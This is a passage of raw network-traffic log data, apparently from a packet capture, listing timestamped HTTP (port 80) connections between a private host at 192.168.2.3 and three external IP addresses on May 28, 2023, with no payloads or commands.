May 28, 2023 10:42:48.870937109 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.870986938 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871033907 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871078968 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871124983 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871128082 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.871128082 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.871484041 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871531963 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871555090 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.871577024 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871622086 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871627092 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.871933937 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.871980906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872013092 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.872026920 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872071981 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872088909 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.872117043 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872169018 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.872473001 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872519970 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872561932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872605085 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872658014 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.872658014 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.872948885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.872997046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873042107 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873086929 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873132944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873136044 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.873136044 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.873410940 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873456955 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873502016 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873548031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873558998 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.873558998 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.873595953 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873928070 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.873940945 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.873980045 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.874026060 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.874073982 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:48.874119043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.874119043 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:48.874414921 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.000482082 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.002748966 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.091449022 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.105133057 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.121386051 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.121450901 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.121499062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.121521950 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.121547937 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.121596098 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.121612072 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.248775005 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.343739986 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.343807936 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.343852997 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.343875885 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.343899012 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.343946934 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.343954086 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.343991995 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344038010 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344044924 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344082117 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344130993 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344131947 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344187021 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344233990 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344249964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344335079 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344382048 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344391108 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344427109 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344471931 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344475985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344516993 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344562054 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344573975 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344608068 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344656944 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.344870090 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344913960 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344959021 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.344963074 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.345004082 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345047951 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345048904 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.345428944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345475912 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345484018 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.345521927 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345566988 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345570087 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.345894098 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345940113 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.345944881 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.345985889 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346030951 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346033096 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.346076965 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346123934 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.346426010 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346478939 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346523046 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.346529007 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346575022 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346620083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346623898 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.346913099 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346961975 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.346983910 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.347006083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347050905 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347067118 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.347405910 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347453117 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347515106 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347558022 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.347568989 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.347579956 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.374084949 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374160051 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374162912 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.374227047 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374283075 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.374289989 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374352932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374414921 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374430895 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.374475002 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.374536991 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.374538898 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.389790058 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.389847040 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.389894009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.389940023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.389955997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.389955997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.389986992 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390012026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390049934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390122890 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390170097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390183926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390214920 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390224934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390258074 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390266895 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390304089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390306950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390348911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.390352011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.390397072 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.501312017 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.501421928 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.501571894 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.561295033 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.596565962 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596637964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596688032 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596710920 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.596735001 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596784115 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596833944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596883059 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596883059 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.596883059 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.596930981 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596976995 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.596996069 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597022057 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597068071 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597071886 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597114086 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597158909 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597162962 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597203016 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597246885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597253084 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597291946 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597337961 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597342014 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597382069 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597428083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597431898 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597472906 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597517014 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597522974 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597560883 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597605944 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597615004 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597738028 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597784996 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597806931 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597832918 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597878933 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597893953 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.597923994 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.597975016 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.598140955 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598185062 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598228931 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598242998 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.598273993 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598330975 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.598746061 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598848104 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598895073 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598913908 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.598941088 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.598987103 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599001884 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.599225044 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599271059 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599287033 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.599318027 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599364042 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599374056 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.599410057 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599462986 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.599706888 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599751949 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599797964 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599809885 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.599848032 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.599904060 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.600229979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600308895 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600358009 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600388050 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.600406885 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600451946 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600462914 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.600706100 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600766897 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.600810051 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600858927 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600903988 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.600917101 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.600950956 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601006985 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.601217031 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601263046 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601309061 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601320982 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.601356030 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601411104 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.601783037 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601830959 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601876020 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601891041 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.601921082 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601965904 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.601979017 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.602183104 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.602229118 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.602252960 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.624723911 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.624787092 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.624861002 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.636810064 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:49.674577951 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.674645901 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.674691916 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.674726963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.674726963 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.674737930 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.674748898 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.674782991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.674788952 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.674849987 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.674896002 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.674902916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.674941063 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.674987078 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.674988031 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.675034046 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675039053 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675080061 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675084114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675127029 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675137997 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675173998 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675174952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675219059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675221920 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675266027 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675267935 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675312996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675314903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675359964 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675363064 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675405979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675410032 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675451994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675456047 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675498009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675499916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675544977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675545931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675592899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675595045 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675638914 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675643921 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675685883 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675693035 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675731897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:49.675735950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675779104 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.675781965 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:49.675828934 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.675883055 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.752547979 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.752590895 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.752619982 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.752650976 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.752695084 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.752753973 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.812063932 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.812428951 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.812572956 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.847904921 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848452091 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848473072 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848551035 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848570108 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848568916 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.848587990 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848635912 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.848635912 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.848875999 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848896980 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848913908 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.848932981 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849008083 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849013090 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.849013090 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.849349022 CEST	80	49719	183.100.39.157	192.168.2.3
May 28, 2023 10:42:49.849425077 CEST	49719	80	192.168.2.3	183.100.39.157
May 28, 2023 10:42:49.849430084 CEST	80	49719	183.100.39.157	192.168.2.3
